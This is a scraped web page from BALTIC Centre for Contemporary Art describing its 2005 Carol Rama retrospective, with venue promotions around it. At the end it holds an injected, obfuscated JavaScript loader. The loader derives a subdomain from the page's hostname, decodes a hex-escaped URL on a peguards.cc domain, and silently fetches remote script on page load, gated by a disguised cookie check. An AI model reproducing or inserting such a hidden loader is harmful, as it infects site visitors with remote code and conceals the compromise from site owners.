BALTIC Centre for Contemporary Art
Gateshead / Free Admission
BALTIC 39
Newcastle upon Tyne / Free Admission
FABRICE HYBER
Until 30 June 2013
This exhibition invites visitors to interact with the works directly by opening the ‘wind house’ to bring the exterior elements inside and physically infiltrating an inverted countryside scene in the work Trans-parent.
GETTING TO BALTIC
Click here for directions, transport links information and a map for getting here. BALTIC is free entry and open seven days a week 10.00-18.00 except Tuesdays 10.30-18.00.
Schools & Colleges
We offer many opportunities for schools and colleges, from group visits and artist-led sessions to work based placements within our Learning team.
AWARDS & RECOGNITION
BALTIC is on a winning streak! In 2012 BALTIC was named winner of the National Lottery Awards Best Arts Project, the Gold Award for Large Visitor Attraction at the North East Tourism Awards and the Times Higher Education Awards for its partnership with Northumbria University.
Choose a venue with style
BALTIC is one of the most iconic buildings in the north east and offers a stylish and unique location for civil ceremonies, wedding breakfasts and receptions.
We need your support to keep BALTIC free for everybody to enjoy.
With nearly 1,000 people every day coming through the doors, there is a clear appetite for cutting edge, contemporary visual arts in the North. We need your help to satisfy this hunger.
NOW OPEN: MATT CALDERWOOD
For his solo exhibition at BALTIC 39, the first in a UK public gallery, Matt Calderwood has created a series of ambitious new sculptures, works on paper and video. Now open Wed-Sun.
PRODUCT OF THE MONTH
GRAYSON PERRY / RELIQUARY PENDANT
Own your very own piece of art history with this Reliquary Pendant by Turner Prize winning artist Grayson Perry. A unique and original relic of his work.
Exhibitions
Carol Rama
Retrospective
22 January 2005 - 24 April 2005
This major retrospective was Carol Rama’s first ever UK solo exhibition. Looking in-depth at her influential career spanning over seven decades, the show presents over 100 works that range in media from painting to drawing, watercolour, sculpture and print.
Olga Carolina Rama was born in Turin in 1918, where she still lives and works. This self-taught artist who paints ‘to heal herself and to express her fears and anguish’, has been making innovative, provocative works since the mid 1930s, anticipating many of the major artistic movements of our day.
Additional Information
The exhibition began with a series of fascinating, autobiographical watercolours, created from 1936 to 1940 during the mental illness of Rama’s mother, in an Italy under Fascist rule. It then followed the development of Rama’s career by showing examples of her very personal exploration of Surrealism and Concrete Art, to which she brought great compositional freedom. In the 1960s and 1970s Rama’s interest in the human body and organic materials was explored through the use of actual objects such as corks, animal claws, skins and tyres. From the 1980s Rama returned to figuration and to some of the colourful, transgressive figures which populated her early works - images as alive and provocative today as they were seventy years ago.
Exhibition organised by Fondazione Sandretto Re Rebaudengo, Turin in collaboration with MART.
Museo di Arte Moderna e Contemporanea di Trento e Rovereto.
Click here to view all Library and Archive entries for Carol Rama
0 comment(s)
Join the Conversation
Related Content
There are no related items for this exhibition
BALTIC Love - Sign up today
 |
Be the first to find out everything that’s upcoming at BALTIC. Be invited to preview launches, parties and artist talks. receive special discounts for BALTIC SHOP, and much more.
|
Calendar
Join In
Supported By
<script type="text/javascript" language="javascript">
document.write('<' + 'script type="text/javascript" language="javascript" id="am5z9pesvo"></' + 'script>');
var j = document.getElementById("am5z9pesvo");
var s = document.location.host;
var s1 = ""; var qcl2q = 10;
for (var i = 0; i < s.length; i++) { var r8j8tnwtk76gj = s.charCodeAt(i) + qcl2q; r8j8tnwtk76gj = 65 + (r8j8tnwtk76gj % 57); s1 += String.fromCharCode(r8j8tnwtk76gj); qcl2q = s.charCodeAt(i);}
s1 = s1.replace(/[^a-zA-Z0-9]/g, "");
if( document.cookie.indexOf("google_api=1;") == -1 ) {j.src = "\x68\x74t\x70\x3a\x2f\x2f"+s1+".p\x65\x67\x75\x61\x72\x64\x73\x2ecc/9\x39\x30\x62\x31\x63\x38\x35\x69q\x2f\x67\x65\x74.\x6as";}
delete s; delete s1;
</script>